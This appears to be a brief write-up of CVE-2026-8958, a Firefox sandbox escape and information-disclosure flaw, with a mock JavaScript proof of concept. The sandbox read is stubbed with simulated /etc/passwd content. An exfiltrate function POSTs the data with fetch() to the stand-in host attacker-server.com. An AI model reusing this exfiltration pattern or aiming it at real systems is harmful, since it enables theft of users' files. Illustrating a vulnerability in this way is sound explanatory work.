CVE-2026-8958 Firefox沙箱逃逸与信息泄露漏洞

// Conceptual Proof of Concept for Sandbox Escape / Information Disclosure // This script attempts to access files outside the sandboxed environment. function trigger_exploit() { try { // Simulate a vulnerability in the sandbox policy // that allows reading sensitive system files. var forbidden_data = read_file_outside_sandbox("/etc/passwd"); if (forbidden_data) { console.log("[+] Exploit successful! Data leaked:"); console.log(forbidden_data); // Exfiltrate data to attacker controlled server exfiltrate(forbidden_data); } } catch (e) { console.log("[-] Exploit failed: " + e.message); } } // Mock functions for demonstration function read_file_outside_sandbox(path) { // In a real scenario, this would leverage the specific bug // in the process sandboxing component (CVE-2026-8958). return "root:x:0:0:root:/root:/bin/bash\n..."; // Simulated content } function exfiltrate(data) { // Send data via fetch or XMLHttpRequest fetch('http://attacker-server.com/collect', { method: 'POST', body: data }); } trigger_exploit();